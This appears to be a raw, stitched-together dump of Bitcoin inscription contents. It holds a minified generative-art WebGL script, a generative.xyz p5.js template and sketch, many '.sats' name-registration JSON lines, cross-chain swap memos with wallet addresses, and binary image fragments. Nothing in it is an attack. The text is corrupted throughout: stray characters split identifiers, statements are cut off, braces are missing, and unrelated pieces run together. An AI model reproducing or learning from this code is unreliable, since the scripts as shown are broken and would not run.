"0123456789abcdefghijklmnopqrstuvwsyz"; seed = new URLSearchParams(window.location.search).get("seed") || Array(64).fill(0).map(_ => alphabet[(Math.random() *M alphabet.length) | 0]).join('') + "i0"; let pattern = "seed="; for (let i = 0; i < seed.length - pattern.length; ++i) { if (seed.substring(i, i + pattern.length) == pattern) { seed = seed.substring(i + pattern.length); break; function cyrb128($) { let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762; for (let n = 0, r; n < $.lengthM ; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179); return _ = Math.imul(i ^ _ >>> 18, 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0] function sfc32($, _, u, i) { return function () { u >>>= 0, i >>>= 0; var l = ($ >>>= 0) + (_ >>>= 0) | 0; return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296 let mathRand = sfc32(...cyrb128(seed)); margin: 0; padding: 0; overflow: hidden; <canvas id="myCanvas"></canvas> <script type="text/jaM console.log("seed:",seed);class Rnd{rD(){return mathRand()}rN(r,t){return r+(t-r)*this.rD()}rI(r,t){return Math.floor(this.rN(r,t+1))}rB(r){return this.rD()<r}}const R=new Rnd;class Perlin{constructor(){this.R=new Rnd,this.grad3=[[1,1,0],[-1,1,0],[1,-1,0],[-1,-1,0],[1,0,1],[-1,0,1],[1,0,-1],[-1,0,-1],[0,1,1],[0,-1,1],[0,1,-1],[0,-1,-1]],this.p=[];for(var r=0;r<256;r++)this.p[r]=Math.floor(256*this.R.rD());for(this.perm=[],r=0;r<512;r++)this.perm[r]=this.p[255&r];this.simplex=[[0,1,2,3],[0,1,3M ,2],[0,0,0,0],[0,2,3,1],[0,0,0,0],[0,0,0,0],[0,0,0,0],[1,2,3,0],[0,2,1,3],[0,0,0,0],[0,3,1,2],[0,3,2,1],[0,0,0,0],[0,0,0,0],[0,0,0,0],[1,3,2,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[1,2,0,3],[0,0,0,0],[1,3,0,2],[0,0,0,0],[0,0,0,0],[0,0,0,0],[2,3,0,1],[2,3,1,0],[1,0,2,3],[1,0,3,2],[0,0,0,0],[0,0,0,0],[0,0,0,0],[2,0,3,1],[0,0,0,0],[2,1,3,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[2,0,1,3],[0,0,0,0],[0,0,0,0],[0,0,0,0],[3,0,1,2],[3,0,2M ,1],[0,0,0,0],[3,1,2,0],[2,1,0,3],[0,0,0,0],[0,0,0,0],[0,0,0,0],[3,1,0,2],[0,0,0,0],[3,2,0,1],[3,2,1,0]]}dot(r,t,e){return r[0]*t+r[1]*e}noise(r,t){var e,i,a=(r+t)*(.5*(Math.sqrt(3)-1)),o=Math.floor(r+a),l=Math.floor(t+a),n=(3-Math.sqrt(3))/6,s=(o+l)*n,g=r-(o-s),c=t-(l-s);g>c?(e=1,i=0):(e=0,i=1);var d=g-e+n,f=c-i+n,p=g-1+2*n,A=c-1+2*n,m=255&o,F=255&l,E=this.perm[m+this.perm[F]]%12,u=this.perm[m+e+this.perm[F+i]]%12,R=this.perm[m+1+this.perm[F+1]]%12,h=.5-g*g-c*c,B=.5-d*d-f*f,D=.5-p*p-A*A;return 70*((h<0?0:(h*=h)*h*M this.dot(this.grad3[E],g,c))+(B<0?0:(B*=B)*B*this.dot(this.grad3[u],d,f))+(D<0?0:(D*=D)*D*this.dot(this.grad3[R],p,A)))}}const perlin=new Perlin;function map(r,t,e,i,a){return i+(a-i)*(r-t)/(e-t)}let bckCol,dim=Math.min(window.innerWidth,window.innerHeight),spots=R.rI(10,25),radius=[],m=[],mOff=1e-4*R.rN(1,7),x=[],y=[],z=[],S=30,sRot=[],b=1,bOffset=R.rN(0,.005),bMag=1,xOff=[],yOff=[],pC=[],noiseFeat=mathRand()>.79,pFeat=R.rI(1,24),angleFeat=mathRand()>.87?0:mathRand()<.1?1:2,colorBackground=R.rI(0,1);const PI=Math.M PI,TWO_PI=2*PI;let blurV=[];blurV=blurV=0==angleFeat?[R.rN(0,R.rN(0,1)),0]:1==angleFeat?[0,R.rN(0,R.rN(0,1))]:[R.rN(-.9,.9),R.rN(0,.9)],Math.pow(blurV[0],2)+Math.pow(blurV[1],2)<.18&&(blurV[0]>blurV[1]?blurV[0]+=.35:blurV[1]+=.35);const vs2="attribute vec2 a_position;attribute vec2 a_texCoord;uniform vec2 u_resolution;varying vec2 v_texCoord;\nvoid main(){vec2 clipSpace=a_position/u_resolution*2.0-1.0;gl_Position=vec4(clipSpace*vec2(1,-1),0,1);v_texCoord=a_texCoord;}",fs2="precision mediump float;uniform sampler2D M u_image;varying vec2 v_texCoord;uniform vec2 dl;float rnd(vec3 scale,float seed){return fract(sin(dot(gl_FragCoord.xyz+seed,scale))*43758.5453+seed);}\nvoid main(){vec4 col=vec4(0.0);float tt=0.0;float off=rnd(vec3(12.9898,78.233,151.7182),0.0);for(float t=-30.0;t<=30.0;t++){float pc=(t+off-0.5)/30.0;float w=1.0-abs(pc);vec4 spl=texture2D(u_image,v_texCoord+dl*pc);spl.rgb*=spl.a;col+=spl*w;tt+=w;}gl_FragColor=col/tt;}";function setup(){for(i=0;i<spots;i++)radius[i]=R.rI(dim/100,dim/4),m[i]=R.rN(0,100),x[i]=R.rN(0,dM im),y[i]=R.rN(0,dim),z[i]=R.rN(0,dim),xOff[i]=R.rN(4,10),yOff[i]=R.rN(4,10),sRot[i]=R.rN(0,TWO_PI);if(noiseFeat){let r=R.rI(20,200);for(i=0;i<r;i++)radius[spots+i]=R.rI(dim/400,dim/100),m[spots+i]=R.rN(0,10),y[spots+i]=R.rN(0,dim),z[spots+i]=R.rN(0,dim),x[spots+i]=R.rN(0,dim),xOff[spots+i]=R.rN(4,10),yOff[spots+i]=R.rN(4,10),sRot[spots+i]=R.rN(0,PI);spots+=r}angle=0==angleFeat?-PI/4:1==angleFeat?PI/4:R.rN(0,PI),p=pFeat;let r=1==p?["#0B1626","#2F1517","#4599B5","#A83882","#B4DDDD","#DBBEF2"]:2==p?["#0B1626","#2F1517M ","#4599B5","#A84B28","#B4DDDD","#C4E4A2"]:3==p?["#140000","#021c13","#003924","#005841","#750100","#990100","#d7bb30","#ccae00"]:4==p?["#1D1702","#2B0426","#650427","#AD2C00","#ddac0a","#c6c339","#E55130"]:5==p?["#200e36","#2B0426","#366290","#E27D52","#D3EAC0","#EDC557","#A8DAB9"]:6==p?["#200A0E","#080811","#006978","#170F08","#FBFBD6","#02E7CA","#729C9D"]:7==p?["#0A0A3D","#041604","#00C075","#87C000","#F9BD27","#FE8900","#FE003B"]:8==p?["#2A0002","#14060B","#664C4C","#EF3B01","#C11900","#A20005"]:9==p?["#000000"M ,"#0B1626","#68D1E6","#A6DAD7","#DFE3CB","#F2852F","#F96800"]:10==p?["#000000","#2F1517","#2AABCF","#6CBAB5","#C3CAA1","#E54508","#F32A00"]:11==p?["#200e36","#1A0210","#e04372","#5aa9e6","#4a4e69","#e04372","#e6b953"]:12==p?["#131303","#040207","#EFA72F","#EF7717","#77BFA7","#FBEAB5","#5D402E"]:13==p?["#1E1E3D","#002030","#009FAF","#CB323E","#EA6740","#ECC850"]:14==p?["#1E1E3D","#292B30","#592D2D","#DEB968","#FEFDDE","#3D4046"]:15==p?["#040207","#002030","#60A5AA","#FAEDC1","#5F5850","#C0B297"]:16==p?["#0F0F00","#0M 30313","#9C8C68","#FDA5A1","#9E7B52","#E1CC92"]:17==p?["#0A0A1A","#120202","#FF8B00","#000000","#649EE8","#917FFF"]:18==p?["#020202","#0A0A1A","#09BEBB","#12737C","#28211E","#FB344B"]:19==p?["#000000","#200B01","#F92900","#F1D593","#85B7B0","#EFD7A7"]:20==p?["#000000","#1A1A1A","#F35C4B","#F6A440","#F9C965","#FDE4AC","#FFFFB1"]:21==p?["#0D1626","#091425","#051738","#204E75","#005151","#A0995F"]:22==p?["#000000","#091425","#764E37","#DF8D78","#F0D3AE","#C4DFDB"]:23==p?["#020202","#1A1A1A","#605274","#8DB1C4","#F8BE7M 5","#E4615B","#D0303C"]:["#050505","#0F0F0F","#000000","#7F7F7F","#333333","#E5E5E5","#F0F0F0"];pC.push(...r);let t=pC.length-1;for(ii=0;ii<3;ii++)for(i=t-1;i<=t;i++)pC.push(pC[i])}var c=document.createElement("canvas");c.width=dim,c.height=dim;var ctx=c.getContext("2d");function draw(){for(ctx.beginPath(),ctx.rect(0,0,c.width,c.height),ctx.fillStyle=pC[colorBackground],ctx.fill(),i=0;i<spots;i++){let r=pC[i%pC.length],t=map(perlin.noise(m[i],i),-1,1,-dim/xOff[i],dim/xOff[i]),e=map(perlin.noise(m[i],i+200),-1,1,-diM m/yOff[i],dim/yOff[i]),a=map(perlin.noise(10*m[i],i+999),-1,1,-radius[i]/20,radius[i]/20);ctx.beginPath(),ctx.arc(x[i]+t,y[i]+e,radius[i]+a,0,2*Math.PI),ctx.fillStyle=r,ctx.fill(),m[i]+=mOff}bMag=map(perlin.noise(b,spots),-1,1,.8,1.2),render(),b+=bOffset,window.requestAnimationFrame(draw)}function createShader(r,t,e){var i=r.createShader(t);if(r.shaderSource(i,e),r.compileShader(i),r.getShaderParameter(i,r.COMPILE_STATUS))return i;r.deleteShader(i)}function createProgram(r,t,e){var i=r.createProgram();if(r.attachShM ader(i,t),r.attachShader(i,e),r.linkProgram(i),r.getProgramParameter(i,r.LINK_STATUS))return i;r.deleteProgram(i)}function setRectangle(r,t,e,i,a){let o=t,l=t+i,n=e,s=e+a;r.bufferData(r.ARRAY_BUFFER,new Float32Array([o,n,l,n,o,s,o,s,l,n,l,s]),r.STATIC_DRAW)}setup(),window.requestAnimationFrame(draw);const canvasGL=document.getElementById("myCanvas");canvasGL.width=dim,canvasGL.height=dim;const gl=canvasGL.getContext("webgl");var vertexShader=createShader(gl,gl.VERTEX_SHADER,vs2),fragmentShader=createShader(gl,gl.FRM AGMENT_SHADER,fs2),program=createProgram(gl,vertexShader,fragmentShader),positionLocation=gl.getAttribLocation(program,"a_position"),texcoordLocation=gl.getAttribLocation(program,"a_texCoord"),positionBuffer=gl.createBuffer();gl.bindBuffer(gl.ARRAY_BUFFER,positionBuffer),setRectangle(gl,0,0,c.width,c.height);var texcoordBuffer=gl.createBuffer();gl.bindBuffer(gl.ARRAY_BUFFER,texcoordBuffer),gl.bufferData(gl.ARRAY_BUFFER,new Float32Array([0,0,1,0,0,1,0,1,1,0,1,1]),gl.STATIC_DRAW);var texture=gl.createTexture();gl.binM dTexture(gl.TEXTURE_2D,texture),gl.texParameteri(gl.TEXTURE_2D,gl.TEXTURE_WRAP_S,gl.CLAMP_TO_EDGE),gl.texParameteri(gl.TEXTURE_2D,gl.TEXTURE_WRAP_T,gl.CLAMP_TO_EDGE),gl.texParameteri(gl.TEXTURE_2D,gl.TEXTURE_MIN_FILTER,gl.NEAREST),gl.texParameteri(gl.TEXTURE_2D,gl.TEXTURE_MAG_FILTER,gl.NEAREST);var resolutionLocation=gl.getUniformLocation(program,"u_resolution"),blurVectorLocation=gl.getUniformLocation(program,"dl");function render(){if(gl){gl.texImage2D(gl.TEXTURE_2D,0,gl.RGBA,gl.RGBA,gl.UNSIGNED_BYTE,ctx.canvas),M gl.useProgram(program),gl.enableVertexAttribArray(positionLocation),gl.bindBuffer(gl.ARRAY_BUFFER,positionBuffer);var r=gl.FLOAT,t=0;gl.vertexAttribPointer(positionLocation,2,r,false,0,t),gl.enableVertexAttribArray(texcoordLocation),gl.bindBuffer(gl.ARRAY_BUFFER,texcoordBuffer),gl.vertexAttribPointer(texcoordLocation,2,r,false,0,t),gl.uniform2f(resolutionLocation,gl.canvas.width,gl.canvas.height),gl.uniform2f(blurVectorLocation,blurV[0]*bMag,blurV[1]*bMag);var e=gl.TRIANGLES;t=0;gl.drawArrays(e,t,6)}else console.loMo g("Needs WebGL to run")}gl.viewport(0,0,gl.canvas.width,gl.canvas.height); window.$generativeTraits = { "Palette": pFeat, "Noisy": noiseFeat, "Angle": angleFeat == 0 ? 'horizontal' : angleFeat == 1 ? 'vertical' : 'diagonal' console.log(window.$generativeTraits) text/html;charset=utf-8 <meta charset="UTF-8"> <title>A simple template for launching your art on Bitcoin</title> Generative supports the most popular creative coding libraries. Simply uncomment the library you want to use below. Are we missing an important library? Let us know @generative_xyz. <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/p5.js/1.5.0/p5.min.js"></script> <!-- c2.min.js@1.0.0 pt sandbox="allow-scripts" type="text/javascript" src="https://cdn.generative.xyz/ajax/libs/c2/1.0.0/c2.min.js"></script> <!-- chromajs@2.4.2 <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/chroma-js/2.4.2/chroma.min.js"></script> <!-- <script sandbox="allow-scripts" type="text/javascript" src="https://cdn.generative.xyz/ajax/libs/p5.grain/0.6.1/p5.grain.min.js"></script>--> <!-- threejs@r124 <script sandbox="allow-scripts" typM e="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/three.js/r124/three.min.js"></script> <!-- tonejs@14.8.49 <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/tone/14.8.49/Tone.js"></script> <!-- svgjs@3.1.2 <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/svg.js/3.1.2/svg.min.js"></script> <!-- aframejs@1.2.0 <script sandbox="allow-scripts" type="text/jaM vascript" src="https://cdnjs.cloudflare.com/ajax/libs/aframe/1.2.0/aframe.min.js"></script> <!-- babylonjs@5.47.0 <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/babylonjs/5.47.0/babylon.js"></script> <!-- paperjs@0.12.17 <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/paper.js/0.12.17/paper-full.min.js"></script> <!-- regljs@2.1.0 <script sandbox="allow-scripts" tM ype="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/regl/2.1.0/regl.min.js"></script> <script type="text/javascript"> Add your script here Add your script here <script id="snippet-random-code" type="text/javascript"> let seed = window.location.href.split('/').find(t => t.includes('i0')); if (seed == null) { const alphabet = "0123456789abcdefghijklmnopqrstuvwsyz"; seed = new URLSearchParams(window.location.search).get("seed") || Array(64).fill(0).map(_ => alphabet[(Math.random() * alphabet.length) | 0]).join('') + "i0"; let pattern = "seed="; for (let i = 0; i < seed.length - pattern.length; ++i) { if (seed.substM ring(i, i + pattern.length) == pattern) { seed = seed.substring(i + pattern.length); break; function cyrb128($) { let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762; for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179); urn _ = Math.imul(i ^ _ >>> 18, 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0] function sfc32($, _, u, i) { return function () { u >>>= 0, i >>>= 0; var l = ($ >>>= 0) + (_ >>>= 0) | 0; return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | M 0) | 0) | 0, (l >>> 0) / 4294967296 // IMPORTANT: Instead of Math.random(), use this function mathRand() for random number generation. // This function generates a random number between 0 and 1 with on-chain seed. let mathRand = sfc32(...cyrb128(seed)); html, body { margin: 0; padding: 0; max-width: 100%; max-height: 100%; margin: auto; overflow: auto; position: fixed; object-fit: contain; bottom: 0; left: 0; right: 0; <script type="text/javascript"> const rand = mathRand(); function T1(rand) { // calculate rarity by yourself if (rand > 0.5) { return true; // window.$generativeTraits contain list traits for token // you need to populate a $generativeTraits object in the window object window.$generativeTraits = { "T1": T1(rand), console.log(window.$generativeTraits) Add your code here nst container = document.createElement("div") // container.innerHTML = "<span>seed: " + seed + "</span><br>"; // document.body.prepend(container) //License: Creative Commons Attribution-NonCommercial-ShareAlike 3.0 Unported License. //Author: @devhontran //Twitter: https://twitter.com/DevHontran //Website: https://hontran.dev const scaler = 1; let paper, border; let shadown = {x: -5, y: 5}; let layers = []; let padding = 40; function cyrb128(str) { = 1779033703, h2 = 3144134277, h3 = 1013904242, h4 = 2773480762; for (let i = 0, k; i < str.length; i++) { k = str.charCodeAt(i); h1 = h2 ^ Math.imul(h1 ^ k, 597399067); h2 = h3 ^ Math.imul(h2 ^ k, 2869860233); h3 = h4 ^ Math.imul(h3 ^ k, 951274213); h4 = h1 ^ Math.imul(h4 ^ k, 2716044179); h1 = Math.imul(h3 ^ (h1 >>> 18), 597399067); h2 = Math.imul(h4 ^ (h2 >>> 22), 2869860233); h3 = Math.imul(h1 ^ (h3M >>> 17), 951274213); h4 = Math.imul(h2 ^ (h4 >>> 19), 2716044179); return [(h1^h2^h3^h4)>>>0, (h2^h1)>>>0, (h3^h1)>>>0, (h4^h1)>>>0]; function sfc32_c(a, b, c, d) { a >>>= 0; b >>>= 0; c >>>= 0; d >>>= 0; var t = (a + b) | 0; a = b ^ b >>> 9; b = c + (c << 3) | 0; c = (c << 21 | c >>> 11); d = d + 1 | 0; t = t + d | 0; c = c + t | 0; return (t >>> 0) / 4294967296; // return random value from [l -> r] function consistentRand (seed, l, r) { const rand = sfc32_c(...cyrb128(seed.toString())); return l + rand * (r - l) function getRandomItem (listP, seed) { const pref = [] for (const x of listP) pref.push(x) for (let i = 1; i < listP.length; i++) { pref[i] += pref[i - 1] for (let i = 0; i < pref.length; i++) pref[i] /= pref[pref.length - 1]; // get random value from 0->1 const rand = consistentRand(seed, 0, 1) r (let i = 0; i < pref.length; i++) { if (rand < pref[i]) return i; function createRadialGradient(x, y, r, x1, y1, r1) { const grd = drawingContext.createRadialGradient(x, y, r, x1, y1, r1); grd.addColorStop(0,"#FFFFFF"); grd.addColorStop(1,"#E5E5E3"); drawingContext.fillStyle = grd; drawingContext.fillRect(0, 0, width, height); function artNosie(){ const w = width * 1.2; const h = height * 1.2M paper = createGraphics(w, h); for(let i = 0 ; i< 100000; i++){ let x = random(w); let y = random(h); let dotSize = 10.0*(noise(x/(width / 4), y/(height / 4))*2 - noise(x/width, y/height)); paper.strokeWeight(random(0.25, 3)); paper.stroke(random(20, 80), random(1+dotSize, 4+dotSize)); paper.point(x, y); function generabox(col, pos, si){ const layer = createGraphics(width, height); ill(140, 178, 250, 56); layer.noStroke(); layer.rect(pos.x + shadown.x, pos.y + shadown.y, si.w, si.h); layer.filter(BLUR, 3); layer.fill(col.r, col.g, col.b, col.a); layer.noStroke(); layer.rect(pos.x, pos.y, si.w, si.h); layers.push(layer); function setup() { const hash = rand ? rand : Math.random(); const fCol = {r: 255, g: 255, b: 255}; const s = min(window.innerWidth, window.innerHeight) createCanvas(s,s);M for(let i=0; i<9; i++){ const tHash = `${hash}_${i}`; const cyrHash = cyrb128(tHash); const mixHash_color_r = consistentRand(cyrHash[0], 0, 1); const mixHash_color_g = consistentRand(cyrHash[1], 0, 255); const mixHash_color_b = consistentRand(cyrHash[2], 0, 255); const mixHash_color_a = 255;//consistentRand(cyrHash[3], 100, 255); const sw = consistentRand(cyrHash[0],50, width / 2); const sh = consistentRaM nd(cyrHash[3], 50, height / 2); const col = {r: mixHash_color_r, g: mixHash_color_g, b: mixHash_color_b, a: mixHash_color_a}; const si = {w: sw, h: sh}; const pos_x = consistentRand(cyrHash[1], padding, width- padding - si.w); const pos_y = consistentRand(cyrHash[2], padding, height- padding - si.h); const pos = {x: pos_x, y: pos_y} // console.log('___i', col, pos, si); generabox(col, pos, si); const borderSize = 30; border = createGraphics(width, height); border.fill(fCol.r, fCol.g, fCol.b, 255); border.noStroke(); border.rect(0, 0, borderSize, height); border.fill(fCol.r, fCol.g, fCol.b, 255); border.noStroke(); border.rect(width - borderSize, 0, borderSize, height); border.fill(fCol.r, fCol.g, fCol.b, 255); border.noStroke(); border.rect(0, 0, width, borderSize); border.fill(fCol.r, fCol.g, fCol.b, 255)M border.noStroke(); border.rect(0, height - borderSize, width, borderSize); function draw() { background('#ffffff'); blendMode(BLEND); for(let i=0; i<9; i++){ image(layers[i], 0, 0, width, height); blendMode(MULTIPLY) createRadialGradient(width / 2, height / 2, 0, width / 2, height / 2, height); blendMode(MULTIPLY); image(paper, 0, 0, width, height); image(border,M- 0, 0, width, height); function windowResized() { const s = min(window.innerWidth, window.innerHeight) resizeCanvas(s, s); Add your code here FjDOUT:449E5A3CDE8BB0B132F8D4EAD982108C8890D18EAB155AFA2CA23E9818AEDD98 text/plain;charset=utf-8 text/plain;charset=utf-8 "title": "Ordinal Faces Auctions Off Ordinal Face #21", "body": "The 'Final Pink Face' is set to auction today at 12:00PM PST time. Join in soon: https://discord.gg/ordinalfaces" text/plain;charset=utf-8 "name": "rawmilk.sats" text/plain;charset=utf-8 "name": "mmw.sats" text/plain;charset=utf-8 "name": "mmw.sats" text/plain;charset=utf-8 "name": "msdos.sats" text/plain;charset=utf-8 "name": "saq.sats" text/plain;charset=utf-8 "name": "nwa.sats" text/plain;charset=utf-8 "name": "sobranie.sats" text/plain;charset=utf-8 "name": "quebec.sats" text/plain;charset=utf-8 "name": "valid.sats" text/plain;charset=utf-8 "name": "ismail.sats" text/plain;charset=utf-8 "name": "ucv.sats" text/plain;charset=utf-8 "name": "selfcare.sats" text/plain;charset=utf-8 "name": "mentalhealth.sats" text/plain;charset=utf-8 "name": "quran.sats" text/plain;charset=utf-8 "name": "hamude.sats" text/plain;charset=utf-8 "name": "muhammadali.sats" text/plain;charset=utf-8 "name": "auchan.sats" text/plain;charset=utf-8 "name": "harrypotter.sats" text/plain;charset=utf-8 "name": "mobile.de.sats" text/plain;charset=utf-8 "name": "padre.sats" text/plain;charset=utf-8 "name": "folder.sats" text/plain;charset=utf-8 text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"hotbit.sats"}h! text/plain;charset=utf-8 "name": "abp.sats" text/plain;charset=utf-8 "name": "acv.sats" text/plain;charset=utf-8 -{"p":"sns","op":"reg","name":"dextrade.sats"}h! text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"bitrue.sats"}h! text/plain;charset=utf-8 ,{"p":"sns","op":"reg","name":"bitfish.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"lbank.sats"}h! text/plain;charset=utf-8 /{"p":"sns","op":"reg","name":"hardwallet.sats"}h! text/plain;charset=utf-8 "name": "acj.sats" text/plain;charset=utf-8 ,{"p":"sns","op":"reg","name":"latoken.sats"}h! text/plain;charset=utf-8 "name": "ack.sats" text/plain;charset=utf-8 "name": "acp.sats" text/plain;charset=utf-8 "name": "aco.sats" text/plain;charset=utf-8 text/plain;charset=utf-8 "name": "acw.sats" text/plain;charset=utf-8 text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"bigone.sats"}h! text/plain;charset=utf-8 "name": "acy.sats" text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 "name": "acn.sats" text/plain;charset=utf-8 "name": "acs.sats" text/plain;charset=utf-8 "name": "acl.sats" text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"bitkub.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"tidex.sats"}h! Aj?=:ETH.ETH:0xC8BB07609c4d87D080b5a592cEAb0992727c126A:4845404::0 Bj@=:ETH.ETH:0x01267251fB2D2869bBd5eD0Cc27f961a4b7D8250:37911377::0 text/plain;charset=utf-8 "name": "20006.sats" text/plain;charset=utf-8 "name": "20004.sats" text/plain;charset=utf-8 "name": "20003.sats" Aj?=:ETH.ETH:0x2698b4ED52fB449E3709485154205Ecc6BabD809:2197711::0 text/plain;charset=utf-8 ,{"p":"sns","op":"reg","name":"bitmart.sats"}h! text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"greeks.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"bingx.sats"}h! text/plain;charset=utf-8 -{"p":"sns","op":"reg","name":"whitebit.sats"}h! "3 % % 3-7,),7-Q@88@Q^OJO^qeeq "3 % % 3-7,),7-Q@88@Q^OJO^qeeq text/plain;charset=utf-8 0{"p":"sns","op":"reg","name":"bitexchange.sats"}h! text/plain;charset=utf-8 ,{"p":"sns","op":"reg","name":"tradefi.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"bkex.sats"}h! text/plain;charset=utf-8 ,{"p":"sns","op":"reg","name":"curvefi.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"gmgm.sats"}h! text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"bitmap.sats"}h! text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"gateio.sats"}h! text/plain;charset=utf-8 ,{"p":"sns","op":"reg","name":"gate.io.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"bitfi.sats"}h! text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"xt.com.sats"}h! text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"playfi.sats"}h! text/plain;charset=utf-8 ,{"p":"sns","op":"reg","name":"bitbank.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"exmo.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"11067.sats"}h! text/plain;charset=utf-8 -{"p":"sns","op":"reg","name":"coinsbit.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"gngn.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"btcex.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"gmgn.sats"}h! text/plain;charset=utf-8 ,{"p":"sns","op":"reg","name":"btcturk.sats"}h! DjB=:ETH.ETH:0xb5e878d1bd319cFA8cc9D83fD987D239600679cA:12942711:te:0 text/plain;charset=utf-8 .{"p":"sns","op":"reg","name":"littlepup.sats"}h! text/plain;charset=utf-8 "name": "asher.sats" =zTXtRaw profile type icc text/plain;charset=utf-8 ,{"p":"sns","op":"reg","name":"clrfund.sats"}h! text/plain;charset=utf-8 /{"p":"sns","op":"reg","name":"rabbithole.sats"}h! text/plain;charset=utf-8 "name": "harrypotter.sats" text/plain;charset=utf-8 .{"p":"sns","op":"reg","name":"tokensets.sats"}h! text/plain;charset=utf-8 1{"p":"sns","op":"reg","name":"rabbitholegg.sats"}h! text/plain;charset=utf-8 -{"p":"sns","op":"reg","name":"syncswap.sats"}h! text/plain;charset=utf-8 .{"p":"sns","op":"reg","name":"slingshot.sats"}h! %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz &'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz &'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz DjB=:BNB.BNB:bnb1p2p5wslx8uv2ljmtf5ywd78x4pcfa2hm6uf9sd:61449197:te:0 text/plain;charset=utf-8 "name": "fsd.sats" text/plain;charset=utf-8 "name": "iverson.sats" -=-157:::#+?D?8C49:7 %77777777777777777777777777777777777777777777777777 j6#b6#b6#b6#b6#b6!%P M>->->->->-->->->->->-->->->->->->-->->--->->.----->.->.--...-->---->-= text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"111.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"777.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"333.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"444.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"666.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"888.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"999.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"222.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"555.sats"}h! FjDOUT:ACD7606D08DF72A292E8E5364C79E5A440C24EF10FBFBE2975585A6ECC679E16 (B+(%%(Q:=0B`Ued_U][jx text/plain;charset=utf-8 3{"p":"sns","op":"reg","name":"chicofumacinha.sats"}h! FjDOUT:A57B62ACF0A66843EA0927B24B9D5F1CD25383E8707AFDD61800DF27D37088F6 text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 .{"p":"sns","op":"reg","name":"loveworld.sats"}h! text/plain;charset=utf-8 0{"p":"sns","op":"reg","name":"hellocrypto.sats"}h! text/plain;charset=utf-8 -{"p":"sns","op":"reg","name":"1satoshi.sats"}h! text/plain;charset=utf-8 ,{"p":"sns","op":"reg","name":"icrypto.sats"}h! <svg xmlns="http://www.w3.org/2000/svg" version="1.1" preserveAspectRatio="xMidYMid meet" viewBox="0 0 512 512" width="100%" height="100%" 